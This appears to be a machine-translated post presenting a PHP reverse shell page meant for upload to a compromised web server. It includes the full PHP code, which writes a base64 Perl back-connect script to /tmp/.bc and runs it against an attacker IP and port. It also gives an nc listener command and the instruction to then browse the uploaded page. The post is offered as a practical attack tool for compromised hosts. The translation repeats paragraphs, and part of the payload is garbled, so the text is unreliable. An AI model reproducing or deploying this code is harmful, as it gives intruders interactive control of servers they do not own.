Php reverse shell implementation code. Very helpless, did not expect any good way, then came a flash. Put a php page and the shell can be directly played back. besides, it is much more convenient to operate in the console than webshell, and it is not very easy. I didn't think of any good solution, and then I came to a flash. Put a php page and the shell can be directly played back. Besides, the operations in the console are much more convenient than webshell, and there will be no timeout or other situations.
Because I don't know much about php, I found the wretched Nono and light rain and modified the code. the bounce code was extracted from phpspy2008, but it cannot be used directly, you need to change it to a separate PHP file. After the upload, listen to a local port, set the bounce IP address and port in the code, and then directly access the port, a shell will be returned.
Statement, no technical content, mainly for convenience. In this way, you can directly access this php page and directly play back the shell. you do not need to perform other tedious operations. the modified code is shown below.
The code is as follows:
Function which ($ pr ){
$ Path = execute ("which $ pr ");
Return ($ path? $ Path: $ pr );
}
Function execute ($ cfe ){
$ Res = '';
If ($ cfe ){
If (function_exists ('exec ')){
@ Exec ($ cfe, $ res );
$ Res = join ("\ n", $ res );
} Elseif (function_exists ('shell _ exec ')){
$ Res = @ shell_exec ($ cfe );
} Elseif (function_exists ('system ')){
@ Ob_start ();
@ System ($ cfe );
$ Res = @ ob_get_contents ();
@ Ob_end_clean ();
} Elseif (function_exists ('passthru ')){
@ Ob_start ();
@ Passthru ($ cfe );
$ Res = @ ob_get_contents ();
@ Ob_end_clean ();
} Elseif (@ is_resource ($ f = @ popen ($ cfe, "r "))){
$ Res = '';
While (! @ Feof ($ f )){
$ Res. = @ fread ($ f, 1024 );
}
@ Pclose ($ f );
}
}
Return $ res;
}
Function cf ($ fname, $ text ){
If ($ fp = @ fopen ($ fname, 'w ')){
@ Fputs ($ fp, @ base64_decode ($ text ));
@ Fclose ($ fp );
}
}
$ Yourip = "your IP ";
$ Yourport = 'Your port ';
$ Usedb = array ('Perl '=> 'Perl', 'C' => 'C ');
$ Back_connect = "success ".
"Success ".
"Success ".
"Success ".
"Success ".
"Success ".
"OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw = ";
Cf ('/tmp/. BC', $ back_connect );
$ Res = execute (which ('Perl '). "/tmp/. bc $ yourip $ yourport &");
?>
First execute nc-l-vv-p port locally and then access this php page http://www.site.com/fuck.php local will get a rebound shell.
This method is only applicable to the use of zombie streams. if you have any good method, please do not hesitate to give me a try.
Kenay, I didn't think of any good way, and then came to the light. Put a php page and the shell can be directly played back. besides, it is much easier to operate on the console than webshell...